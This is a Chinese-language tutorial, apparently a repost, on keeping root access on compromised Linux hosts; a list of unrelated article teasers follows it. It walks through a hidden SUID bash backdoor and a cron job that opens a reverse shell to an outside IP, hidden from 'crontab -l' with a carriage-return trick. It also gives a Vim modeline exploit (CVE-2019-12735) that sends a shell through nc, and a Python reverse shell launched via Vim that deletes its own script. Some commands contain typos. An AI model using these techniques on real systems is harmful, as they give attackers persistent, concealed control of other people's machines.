持久化:Linux利用SUID、任务计划、vim进行权限维持

目录

利用Linux SUID进行权限维持

利用Linux计划任务进行权限维持

利用Vim创建后门

利用CVE-2019-12735进行权限维持

使用Vim运行Python后门程序


利用Linux SUID进行权限维持

在前面我们使用Linux的SUID权限进行了权限提升,然后SUID还可以用来进行持久化

利用SUID我们可以解除低权限用户获取高权限,但是这种手段通常用在已经获取root权限的情况,攻击者在拿到root权限后,可以使用root权限留下一个SUID后门,这样就算以后权限被降级,攻击者仍然可以使用这个后门取回root权限

(1)首先我们使用root权限的用户执行下列命令,将/bin/bash复制为.exp(.是为了将该文件设置为隐藏文件)

cp /bin/bash  .exp

复制成功之后使用以下命令为.exp文件授权SUID权限:

chmod 4755 .exp

 

接下来我们就可以使用普通用户身份来运行该程序

注:允许时需要加上-p选项,目的是为了绕过Bash 2的限制

可以看到这样我们还是可以恢复到root权限的

利用Linux计划任务进行权限维持

(1)Linux任务计划

计划任务是Linux中的一个非常实用的功能,在Linux中创建任务计划文件,该文件将会存储在/var/spool/cron根目录下。

存储文件的名称会与创建计划任务时所使用的用户的用户名一致,而系统应用创建计划任务生成的计划任务会存储在/etc/cron.d目录下,在使用crontab命令创建计划任务之前,需要查看当前所使用的用户是否具有执行crontab命令的权限。可以查看/etc/cron.deny文件查看该文件中记录的用户不允许执行crontab,而在/etc/cron.allow文件中记录的用户允许使用crontab命令

(2)在Linux中创建隐匿的任务计划

首先我们使用下列命令检查任务计划服务是否正常运行:

service cron status

然后使用crontab -l查看当前用户在系统中创建的任务计划:

要知道Linux中“万物皆文件”,crontab -l命令实际上是调用"cat /var/spool/cron/crontabs 当前登录的用户名"

因此,我们也可以通过直接编辑 /var/spool/cron/crontabs/root来编辑计划任务

echo "*/1 * * * * bash -i > & /dev/tcp/192.168.159.151/10086 0>&1" /var/spool/cron/crontabs/root

(3)那么攻击者可以执行下列命令来在任务计划写入一个一分钟执行一次的会连会话的语句,以达到权限维持的效果,但是这样很容易就会被crontab -l显示出来了

这里可以利用cat命令存在的一个缺陷,会自动识别转义字符,比如执行命令printf "123\r" > 1.txt 执行完成后使用cat命令读取该文件 ,可以看到无法读取123,只有使用vim才能看见文件的内容:

那么我们就可以利用这个特性,写入一个无法被crontab -l获取的计划任务:

执行下列命令来写入任务计划,

(crontab -1;printf "*/1 * * * * /tmp/1.sh;\rno crontab for" whoami %100c\n") |crontab -

执行完就可以看到使用Crontab -l查看是没有内容的,使用vim查看才可以看到内容,达到了创建隐藏后门达到了权限维持的目的

利用Vim创建后门

利用CVE-2019-12735进行权限维持

利用该漏洞可以在Vim打开文件后执行指定命令,该漏洞影响低于Vim 8.1.1365的版本。

漏洞成因是在于Vim 中的modeline功能,开启该功能之后的用户可以输入一些特定的代码来控制编辑器,这个功能限制用户只能输入set命令,且命令只会在沙盒中运行,但是用户可以使用:source!指令来绕过沙盒执行命令

首先需要开启modeline功能对vimrc进行编辑,使用下列命令来开启modeline功能:

echo "set modeline" >> ~/.vimrc

随后使用下列命令将利用代码写入poc.txt

echo ':!id||"vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' >poc.txt

其中id为我们要执行的命令,写入之后使用Vim打开poc.txt就可以看到id执行的命令结果

最后使用下列命令来反弹一个shell:

echo ':!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.159.151 >/tmp/f||"vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' >shell.txt

参数意义:

  • fen: 当值为off时,所有的代码折叠都被打开,默认是off

  • fdm=expr: 产生折叠的方式,可能的值有manual, indent, expr, marker, syntax, diff。 其中expr表示将由’foldexpr’的值来给出某一行的折叠level

  • fde=assert_fails("source! %"): fde是foldexpr的缩写,功能见上一条;source!命令前文已经提过,这里的%是指当前文件;assert_fails用于执行命令并处理错误信息,这里我们只用于执行命令。

  • fdl=0: 折叠的程度,设置为0时会关闭所有的折叠,默认是0

  • fdt: 被关闭的折叠处显示的字符串,默认是”foldtext()”

  • ||表示只有在前一个命令执行失败后才会执行后一个命令,在这里uname -a会执行成功,||后面的字符串被忽略,所以PoC到这里就执行成功了。

攻击方使用下列命令监听:

nc -l 192.168.159.151 10031

然后在服务器这里使用vim shell.txt命令,攻击者就可以拿到服务器的shell了

使用Vim运行Python后门程序

渗透过程中如果需要执行python脚本,但是系统中并没有python环境,而此时就可以利用Vim自带的插件去运行Python脚本

执行下列命令系向1.py文件写入代码:

echo 'print("hello world")' > 1.py

然后使用Vpyfile插件来运行该Python脚本

使用下列命令:

Vim  -E -c "pyfile 1.py"

如果想要反弹shell,可以在文件中写下如下代码:

import socket sybprocess os;
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.159.151",8888));
os.dup2(s.filno(),0);
os.dup2(s.filno(),1);
os.dup2(s.filno(),2);
p = subprocess.call(["/bin/sh","-i"]);

然后在攻击机的监听下,在服务器上执行以下命令

$(nohup vim -E -c "py3file 1.py" > /dev/null 2>&1 &) && sleep 2 && rm -f 1.py 

执行完成后就会发现反弹shell成功了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/390549.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

什么是自编码器Auto-Encoder?

来源:https://www.bilibili.com/video/BV1Vx411j78H/?spm_id_from333.1007.0.0&vd_sourcef66cebc7ed6819c67fca9b4fa3785d39 为什么要压缩呢? 让神经网络直接从上千万个神经元中学习是一件很吃力的事情,因此通过压缩提取出原图片中最具代…

LabVIEW卫星电视接收仿真系统

LabVIEW卫星电视接收仿真系统 随着卫星电视数字化的加速,传统模拟信号接收系统已无法满足需求。设计一套船载数字卫星电视接收系统,通过LabVIEW环境进行仿真实验,验证系统设计的可行性与有效性,满足数字信号接收的高精度要求&…

mysql 2-15

书写规范 #单行注释 */多行注释 -- 单行注释 mysql导入数据 基本SELECT语句 列的别名 三种方式 查询去除重复行 空值参与运算 着重号,取消关键字 查询常数,向前面添加常数 显示表结构 过滤数据 不分大小写,SQL不严谨 数值运算符 号区别 …

7.JS里表达式,if条件判断,三元运算符,switch语句,断点调试

表达式和语句的区别 表达式就是可以被求值的代码比如什么a 1 语句就是一段可以执行的代码比如什么if else 直接给B站的黑马程序员的老师引流一波总结的真好 分支语句 就是基本上所有的语言都会有的if else 语句就是满足不同的条件执行不同的代码,让计算机有条件…

使用倒模耳机壳UV村脂胶液制作舞台监听耳返入耳式耳机壳有哪些优点?

使用倒模耳机壳UV树脂胶液制作舞台监听耳返入耳式耳机壳有很多优点,具体如下: 高音质表现:通过倒模工艺制作的耳机壳能够更好地贴合耳朵,减少声音散射和反射,提高声音的清晰度和质感。这对于舞台监听来说非常重要&…

智能传感器阅读笔记-物联网用智能传感器技术的发展重点

物联网用智能传感器技术的发展重点包含边缘计算算法优化、身份认证算法优化和能量采集技术。 图1 物联网用智能传感器技术的发展重点 边缘计算算法优化 边缘计算是指在靠近物或数据源头的一侧(传感器侧),采用集检测、计算、存储、通信功能…

C语言从零实现贪吃蛇小游戏

制作不易,点赞关注一下呗!!! 文章目录 前言一. 技术要点二、WIN32API介绍三、贪吃蛇游戏设计与分析 1.游戏开始前的初始化 2.游戏运行的逻辑 总结 前言 当我们掌握链表这样的数据结构之后,我们就可以用它来…

第12集《佛说四十二章经》

请大家打开讲议第十五面,第三十一章、心寂欲除。 这几章都是佛陀指导我们如何修出离心。前面的经文讲到修出离心,这有对外境与对内心的出离。对外境的出离是指一位初学者,选择一个如法清净的道场安住,这非常重要。唯识学对这个概…

紫微斗数双星组合:天机天梁在辰戌

文章目录 前言内容总结 前言 紫微斗数双星组合:天机天梁在辰戌 内容 紫微斗数双星组合:天机天梁在辰戌 性格分析 在紫微斗数命盘中,天梁星是一颗“荫星”,能够遇难呈祥,化解凶危,主寿,主贵。…

四、JMS规范

JMS规范 一、JMS是什么二、MQ中间件对比三、JMS组成1.JMS Provider2.JMS Producer3.JMS Consumer4.JSM Message4.1 消息头4.2 消息体4.2.1 生产者4.2.2 消费者 4.3 消息属性 四、JMS可靠性1.PERSISTENT - 持久化1.1 参数设置1.2 Queue持久化1.3 Topic持久化1.3.1 持久的发布主题…

开关式稳压电源的工作原理

随着全球对能源问题的重视,电子产品的耗能问题将愈来愈突出,如何降低其待机功耗,提高供电效率成为一个急待解决的问题。传统的线性稳压电源虽然电路结构简单、工作可靠,但它存在着效率低(只有40% -50%&…

通过写代码学习AWS DynamoDB (3)- 一致性hash

简介 在本文中,我们将简单介绍一致性hash(consistent hash)的概念,以及一致性hash可以解决的问题。然后我们将在模拟的DDB实现中实现一个简单版本的基于一致性harsh实现的partition。 问题 在《通过写代码学习AWS DynamoDB &am…

.NET Core MongoDB数据仓储和工作单元模式实操

前言 上一章节我们主要讲解了MongoDB数据仓储和工作单元模式的封装,这一章节主要讲的是MongoDB用户管理相关操作实操。如:获取所有用户信息、获取用户分页数据、通过用户ID获取对应用户信息、添加用户信息、事务添加用户信息、用户信息修改、用户信息删除…

适合新手注册google谷歌账号详细步骤截图演示,记录解决 “此电话号码无法用于进行验证” 问题

目录 手机号码验证问题解决方法具体注册步骤演示1、谷歌浏览器改语言2、点击注册3、选择个人用途4、输入姓名5、输入年月日6、创建登录账号7、设置登录密码8、手机号码验证(重点)9、手机号码验证成功界面10、关联邮箱备用登录账号设置 手机号码验证问题 …

Java与JavaScript同源不同性

Java是目前编程领域使用非常广泛的编程语言,相较于JavaScript,Java更被人们熟知。很多Java程序员想学门脚本语言,一看JavaScript和Java这么像,很有亲切感,那干脆就学它了,这也间接的帮助了JavaScript的发展…

2.1.1 摄像头

摄像头 更多内容,请关注: github:https://github.com/gotonote/Autopilot-Notes.git 摄像头是目前自动驾驶车中应用和研究最广泛的传感器,其采集图像的过程最接近人类视觉系统。基于图像的物体检测和识别技术已经相当成熟&#…

wayland(xdg_wm_base) + egl + opengles——dma_buf 作为纹理数据源(五)

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、EGL dma_buf import 相关的数据结构和函数1. EGLImageKHR2. eglCreateImageKHR()3. glEGLImageTargetTexture2DOES()二、egl 中 import dma_buf 作为纹理的代码实例1. egl_wayland_dmabuf_…

Crypto-RSA2

题目:(BUUCTF在线评测 (buuoj.cn)) 已知e,n,dp/(dq),c求明文: 首先有如下公式: dp ≡ d mod (p-1) ,ed ≡ 1 mod φ(n) ,npq ,φ(n)(p-1)(q-1) python代码实现如下: import libnu…

[UI5 常用控件] 09.IconTabBar,IconTabHeader,TabContainer

文章目录 前言1. IconTabBar1.1 简介1.2 基本结构1.3 用法1.3.1 颜色,拖放,溢出1.3.2 Icons Only , Inner Contents1.3.3 showAll,Count,key,IconTabSeparator 1.3.4 Only Text1.3.5 headerMode-Inline1.3.6 design,IconTabSeparator-icon1.3.7 DensityM…

云计算基础-虚拟机迁移原理

什么是虚拟机迁移 虚拟机迁移是指将正在运行的虚拟机实例从一个物理服务器(或主机)迁移到另一个物理服务器(或主机)的过程,而不会中断虚拟机的运行。 虚拟机拟机迁移分类虚 热迁移:开机状态下迁移 冷迁…